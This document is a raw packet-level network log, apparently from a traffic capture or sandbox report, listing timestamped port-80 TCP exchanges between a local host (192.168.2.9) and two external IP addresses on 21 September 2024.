Sep 21, 2024 13:33:42.147614002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147635937 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147648096 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147670984 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147680998 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147715092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147742987 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147748947 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.147770882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.147811890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148441076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148474932 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148510933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148525953 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148550987 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148560047 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148593903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148602009 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148627043 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148649931 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148660898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148679018 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148694038 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148715973 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148727894 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148746967 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148761988 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148766994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148796082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148808002 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148830891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148853064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148864985 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148888111 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148897886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148919106 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148931980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148953915 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148966074 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.148988008 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.148998976 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149023056 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149038076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149063110 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149072886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149082899 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149111986 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149126053 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149158955 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149175882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149194002 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149211884 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149226904 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149239063 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149261951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149271011 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149296999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149319887 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149348021 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149360895 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149383068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149390936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149415970 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149441004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149483919 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149493933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149528980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149535894 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149560928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149573088 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149596930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149620056 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149630070 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149653912 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149666071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149689913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149698973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149734974 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149755001 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149764061 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149781942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149796963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149812937 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149831057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149861097 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149862051 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149885893 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149910927 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149933100 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149946928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149959087 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.149981022 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.149991035 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150017023 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.150042057 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150049925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.150059938 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150084972 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.150089979 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150120020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.150129080 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150162935 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.150980949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151015043 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151048899 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151050091 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151074886 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151082993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151106119 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151118994 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151140928 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151171923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151187897 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151201963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151216030 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151235104 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151268005 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151283026 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151297092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151309013 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151330948 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151352882 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151366949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151377916 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151408911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151416063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151448965 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151472092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151480913 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151504993 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151515007 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151537895 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151547909 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151557922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151592970 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151597977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151633978 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151663065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151695967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151719093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151726961 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151752949 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151762009 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151783943 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151796103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151818037 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151829958 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151849031 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151864052 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151874065 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151916027 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151918888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151952982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151973963 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.151987076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.151995897 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152021885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152055025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152081966 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152089119 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152111053 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152122974 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152133942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152158022 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152165890 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152192116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152204990 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152225971 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152236938 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152261019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.152272940 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.152307987 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.153836012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.158524990 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158540964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158565998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158581018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158596039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158610106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158626080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.158631086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.158631086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.158694029 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159070969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159085989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159104109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159162998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159162998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159225941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159240961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159308910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159310102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159467936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159483910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159497976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159513950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159528971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159544945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159559965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159564018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159584045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159627914 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159627914 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159733057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159749985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159841061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.159919024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159934044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159949064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159965038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159981012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.159996033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160000086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160001040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160012007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160056114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160056114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160092115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160106897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160121918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160136938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160152912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160201073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160201073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160306931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160322905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160403013 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160561085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160576105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160593033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160662889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160662889 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160711050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160736084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160752058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160769939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.160770893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160823107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.160823107 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161003113 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161299944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161336899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161370039 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161386967 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161428928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161428928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161469936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161485910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161499977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161515951 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161535978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161535978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161622047 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161833048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161849022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161864042 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161876917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161891937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161909103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161922932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161940098 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161946058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161946058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161952972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.161993980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.161993980 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162024975 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162184000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162199020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162214994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162230015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162245035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162261009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162271976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162271976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162276030 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162292004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162311077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162324905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162341118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162341118 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162362099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162377119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162391901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162406921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162420988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162420988 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162422895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162439108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162455082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162468910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162477970 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162478924 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162514925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162527084 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162532091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162547112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162560940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162576914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162590981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162606955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162610054 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162610054 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162622929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162642002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162657976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162664890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162664890 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162673950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162689924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162703991 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162719965 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162735939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.162738085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162738085 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.162801027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163126945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163141012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163165092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163181067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163197994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163213015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163217068 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163228035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163244963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163248062 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163259029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163274050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163288116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163299084 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.163304090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163321018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.163336992 CEST	80	49710	103.130.147.211	192.168.2.9
